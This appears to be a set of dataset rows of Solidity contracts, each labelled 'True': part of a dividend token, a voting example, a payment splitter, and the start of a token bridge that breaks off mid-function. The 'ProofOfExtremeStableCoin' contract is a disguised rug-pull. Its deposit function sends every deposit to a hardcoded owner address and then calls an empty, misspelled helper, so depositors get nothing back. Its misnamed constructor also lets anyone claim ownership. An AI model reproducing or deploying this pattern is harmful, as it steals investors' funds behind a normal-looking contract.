tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}pragma solidity ^0.4.0;
contract Ballot {
struct Voter {
uint weight;
bool voted;
uint8 vote;
address delegate;
}
struct Proposal {
uint voteCount;
}
address chairperson;
mapping(address => Voter) voters;
Proposal[] proposals;
/// Create a new ballot with $(_numProposals) different proposals.
function Ballot(uint8 _numProposals) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
/// Give $(toVoter) the right to vote on this ballot.
/// May only be called by $(chairperson).
function giveRightToVote(address toVoter) public {
if (msg.sender != chairperson || voters[toVoter].voted) return;
voters[toVoter].weight = 1;
}
/// Delegate your vote to the voter $(to).
function delegate(address to) public {
Voter storage sender = voters[msg.sender]; // assigns reference
if (sender.voted) return;
while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)
to = voters[to].delegate;
if (to == msg.sender) return;
sender.voted = true;
sender.delegate = to;
Voter storage delegateTo = voters[to];
if (delegateTo.voted)
proposals[delegateTo.vote].voteCount += sender.weight;
else
delegateTo.weight += sender.weight;
}
/// Give a single vote to proposal $(toProposal).
function vote(uint8 toProposal) public {
Voter storage sender = voters[msg.sender];
if (sender.voted || toProposal >= proposals.length) return;
sender.voted = true;
sender.vote = toProposal;
proposals[toProposal].voteCount += sender.weight;
}
function winningProposal() public constant returns (uint8 _winningProposal) {
uint256 winningVoteCount = 0;
for (uint8 prop = 0; prop < proposals.length; prop++)
if (proposals[prop].voteCount > winningVoteCount) {
winningVoteCount = proposals[prop].voteCount;
_winningProposal = prop;
}
}
} | True | [
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] |
pragma solidity ^0.4.21;
/*
*
* Same as PoSC, just more extreme.
* 50% divs.
*
*/
contract ProofOfExtremeStableCoin {
using SafeMath for uint256;
event Deposit(address user, uint amount);
event Withdraw(address user, uint amount);
event Claim(address user, uint dividends);
event Reinvest(address user, uint dividends);
address owner = 0x10141345eA2149Ba6dB4E26D222e32A2DDabDc2c;
mapping(address => bool) preauthorized;
bool gameStarted = true;
uint constant depositTaxDivisor = 2;
uint constant withdrawalTaxDivisor = 2;
mapping(address => uint) public investment;
mapping(address => uint) public stake;
uint public totalStake;
uint stakeValue;
mapping(address => uint) dividendCredit;
mapping(address => uint) dividendDebit;
function ProofOfStableCoin() public {
owner = msg.sender;
preauthorized[owner] = true;
}
function preauthorize(address _user) public {
require(msg.sender == owner);
preauthorized[_user] = true;
}
function startGame() public {
require(msg.sender == owner);
gameStarted = true;
}
function depositHelper(uint _amount) private {
uint _tax = _amount.div(depositTaxDivisor);
uint _amountAfterTax = _amount.sub(_tax);
if (totalStake > 0)
stakeValue = stakeValue.add(_tax.div(totalStake));
uint _stakeIncrement = sqrt(totalStake.mul(totalStake).add(_amountAfterTax)).sub(totalStake);
investment[msg.sender] = investment[msg.sender].add(_amountAfterTax);
stake[msg.sender] = stake[msg.sender].add(_stakeIncrement);
totalStake = totalStake.add(_stakeIncrement);
dividendDebit[msg.sender] = dividendDebit[msg.sender].add(_stakeIncrement.mul(stakeValue));
}
function deposit() public payable {
require(preauthorized[msg.sender] || gameStarted);
owner.transfer(msg.value);
depositHelpe(msg.value);
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint _amount) public {
require(_amount > 0);
require(_amount <= investment[msg.sender]);
uint _tax = _amount.div(withdrawalTaxDivisor);
uint _amountAfterTax = _amount.sub(_tax);
uint _stakeDecrement = stake[msg.sender].mul(_amount).div(investment[msg.sender]);
uint _dividendCredit = _stakeDecrement.mul(stakeValue);
investment[msg.sender] = investment[msg.sender].sub(_amount);
stake[msg.sender] = stake[msg.sender].sub(_stakeDecrement);
totalStake = totalStake.sub(_stakeDecrement);
if (totalStake > 0)
stakeValue = stakeValue.add(_tax.div(totalStake));
dividendCredit[msg.sender] = dividendCredit[msg.sender].add(_dividendCredit);
uint _creditDebitCancellation = min(dividendCredit[msg.sender], dividendDebit[msg.sender]);
dividendCredit[msg.sender] = dividendCredit[msg.sender].sub(_creditDebitCancellation);
dividendDebit[msg.sender] = dividendDebit[msg.sender].sub(_creditDebitCancellation);
msg.sender.transfer(_amountAfterTax);
emit Withdraw(msg.sender, _amount);
}
function claimHelper() private returns(uint) {
uint _dividendsForStake = stake[msg.sender].mul(stakeValue);
uint _dividends = _dividendsForStake.add(dividendCredit[msg.sender]).sub(dividendDebit[msg.sender]);
dividendCredit[msg.sender] = 0;
dividendDebit[msg.sender] = _dividendsForStake;
return _dividends;
}
function claim() public {
uint _dividends = claimHelper();
msg.sender.transfer(_dividends);
emit Claim(msg.sender, _dividends);
}
function reinvest() public {
uint _dividends = claimHelper();
depositHelper(_dividends);
emit Reinvest(msg.sender, _dividends);
}
function dividendsForUser(address _user) public view returns (uint) {
return stake[_user].mul(stakeValue).add(dividendCredit[_user]).sub(dividendDebit[_user]);
}
function min(uint x, uint y) private pure returns (uint) {
return x <= y ? x : y;
}
function sqrt(uint x) private pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function depositHelpe(uint _amount) private {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-09-30
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + _totalReleased;
uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account];
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] = _released[account] + payment;
_totalReleased = _totalReleased + payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
contract MBSplitter is PaymentSplitter {
constructor(address[] memory payees, uint256[] memory shares_)
PaymentSplitter(payees, shares_) {
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
pragma solidity 0.8.7;
// SPDX-License-Identifier: Unlicensed
pragma abicoder v2;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toETHSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an ETHereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ETHereum/wiki/wiki/JSON-RPC#ETH_sign[`ETH_sign`]
* JSON-RPC mETHod.
*
* See {recover}.
*/
function toETHSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
contract EliteBridge is Ownable {
struct userDetails {
uint amount;
address token;
uint lastTransaction;
}
// ECDSA Address
using ECDSA for address;
address public signer;
bool public lockStatus;
event SetSigner(address indexed user,address indexed signer);
event Deposit(address indexed user,uint amount,address indexed token,uint time);
event Claim(address indexed user,address indexed token,uint amount,uint time);
event Fallback(address indexed user,uint amount,uint time);
event Failsafe(address indexed user, address indexed tokenAddress,uint amount);
mapping(bytes32 => bool)public msgHash;
mapping(address => mapping(address => userDetails))public UserInfo;
mapping (address => bool) public isApproved;
constructor (address _signer) {
signer = _signer;
}
/**
* @dev Throws if lockStatus is true
*/
modifier isLock() {
require(lockStatus == false, "Elite: Contract Locked");
_;
}
modifier isApprove(address _token){
require(isApproved[_token],"Un approve token");
_;
}
/**
* @dev Throws if called by other contract
*/
modifier isContractCheck(address _user) {
require(!isContract(_user), "Elite: Invalid address");
_;
}
function addToken(address _tokenAddress,uint _amount) public onlyOwner {
require(_amount > 0,"Invalid amount");
IERC20(_tokenAddress).transferFrom(msg.sender,address(this),_amount);
}
receive()external payable {
emit Fallback(msg.sender,msg.value,block.timestamp);
}
function approveTokenToDeposit(address _tokenAddress, bool _approveStatus) external onlyOwner {
isApproved[_tokenAddress] = _approveStatus;
}
function deposit(address _tokenAddress, uint _amount)public isLock isApprove(_tokenAddress){
require (_amount > 0,"Incorrect params");
userDetails storage users = UserInfo[msg.sender][_tokenAddress];
IERC20(_tokenAddress).transferFrom(msg.sender,address(this),_amount);
users.token = _tokenAddress;
users.amount = _amount;
users.lastTransaction = block.timestamp;
emit Deposit(msg.sender,_amount,_tokenAddress,block.timestamp);
}
function claim(address _user,address _tokenAddress,uint amount, bytes calldata signature,uint _time) public isLock isApprove(_tokenAddress) {
//messageHash can be used only once
require(_time > block.timestamp,"signature Expiry");
bytes32 messageHash = message(_user, _tokenAddress,amount,_time);
require(!msgHash[messageHash], "claim: signature duplicate");
//Verifes signature
address src = verifySignature(messageHash, signature);
require(signer == src, " claim: unauthorized");
IERC20(_tokenAddress).transfer(_user,amount);
